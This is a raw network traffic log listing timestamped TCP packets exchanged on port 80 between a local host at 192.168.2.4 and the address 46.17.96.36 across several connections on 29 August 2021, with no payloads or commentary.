Aug 29, 2021 22:27:19.126841068 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.127017021 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.127147913 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.164710045 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.164730072 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.164884090 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.164896011 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.164902925 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.165009022 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.165271997 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.165285110 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.165292025 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.165383101 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.165479898 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.203161001 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.203180075 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.203258991 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.203278065 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.203299046 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.203361034 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.203380108 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.203402996 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.203474045 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.203485012 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.203526020 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.203598976 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.241166115 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.241189957 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.241199017 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.241393089 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.241403103 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.241554976 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.242019892 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.242031097 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.242046118 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.242136955 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.242363930 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.242377996 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.277230024 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.277256012 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.277446985 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.277589083 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.277832985 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.317240953 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.317692041 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.758296013 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.759794950 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.793045044 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.793159962 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.793524981 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.793586016 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.809866905 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.809885025 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.809897900 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.809917927 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.842924118 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.844434977 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.844605923 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.846044064 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.846065998 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.849611998 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.849631071 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.849642992 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.849647045 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.849668026 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.849817991 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.849889994 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.882806063 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.882827997 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.882901907 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.882946968 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.882961988 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.882961988 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.882975101 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.883033037 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.883040905 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.883085966 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.883105040 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.883306026 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.883320093 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.883389950 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.883405924 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.883407116 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.883459091 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.916306973 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916333914 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916343927 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916357040 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916394949 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916460037 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.916543007 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916599035 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916754961 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916769028 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916785002 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.916912079 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.917033911 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.917047977 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.949754953 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.240883112 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.241192102 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.241281033 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.274449110 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.274473906 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.274482965 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.274621010 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.274636984 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.312592030 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.312787056 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.553244114 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.565279007 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.586915970 CEST	80	49759	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.587019920 CEST	49759	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.597975016 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.598103046 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.600217104 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.600354910 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.600538969 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.600644112 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.633131981 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.633177042 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.633203983 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.633229017 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.633280039 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.633289099 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.633327961 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.633344889 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.633418083 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.633507967 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.633537054 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.633569956 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.633616924 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.633641958 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.666250944 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.666311026 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.666357994 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.666392088 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.666405916 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.666423082 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.666450024 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.666477919 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.666533947 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.666569948 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.666929007 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.666958094 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.666981936 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.667037010 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.667083979 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.667104959 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.667159081 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.667320013 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.667344093 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.667403936 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.667454004 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.699225903 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.699268103 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.699398041 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.699424028 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.699434042 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.699448109 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.699506044 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.699527025 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.699973106 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700005054 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700030088 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700052023 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700292110 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700319052 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700342894 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700474024 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700500011 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700524092 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700547934 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700571060 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700594902 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.700690031 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:20.700705051 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.733429909 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.733599901 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.733623028 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.733639956 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.733658075 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.733675003 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.733690977 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.776627064 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:20.776797056 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.014108896 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.018599033 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.047154903 CEST	80	49760	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.047257900 CEST	49760	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.053863049 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.054018974 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.130506992 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.130615950 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.130789995 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.130882978 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.165920973 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.165955067 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.165977001 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.165998936 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.166014910 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.166037083 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.166060925 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.166085958 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.166146994 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.166172028 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.201499939 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.201545000 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.201570988 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.201596975 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.201606035 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.201636076 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.201644897 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.201654911 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.201669931 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.201684952 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.201709032 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.201749086 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.201797962 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.201821089 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.201881886 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.236991882 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237025976 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237042904 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237067938 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237122059 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.237154007 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.237158060 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237222910 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.237265110 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237468004 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237495899 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237520933 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237587929 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237622976 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237778902 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.237977028 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.238037109 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.238152027 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.272522926 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.272567987 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.272593975 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.272814035 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.272840977 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.272866011 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.273029089 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.273075104 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.312053919 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.312160969 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.506428957 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.507477999 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.542072058 CEST	80	49761	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.542187929 CEST	49761	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.542469025 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.542581081 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.545932055 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.546041965 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.546282053 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.546411037 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.581176996 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.581218958 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.581418991 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.581468105 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.581538916 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.581571102 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.581578970 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.581607103 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.581640005 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.581664085 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.581834078 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.581890106 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.616750002 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.616800070 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.616830111 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.616903067 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.616983891 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.617016077 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.617134094 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.617167950 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.617192030 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.617197037 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.617261887 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.617315054 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.617353916 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.617382050 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.652537107 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.652578115 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.652601957 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.652626038 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.652652025 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.652682066 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.652686119 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.652715921 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.652793884 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.652916908 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.653105974 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.653176069 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.653242111 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.653399944 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.653424978 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.653529882 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.653805017 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.690689087 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.690735102 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.690759897 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.690784931 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.690809011 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.728499889 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.728642941 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.942636967 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.944552898 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.978225946 CEST	80	49762	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.978385925 CEST	49762	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.980429888 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:22.980649948 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.981399059 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.981522083 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.981748104 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:22.981930971 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.019248962 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.019355059 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.019407988 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.019531965 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.019560099 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.019571066 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.019578934 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.019593954 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.019609928 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.019896984 CEST	49763	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:23.054800987 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.054841995 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.054869890 CEST	80	49763	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:23.054892063 CEST	80	49763	46.17.96.36	192.168.2.4
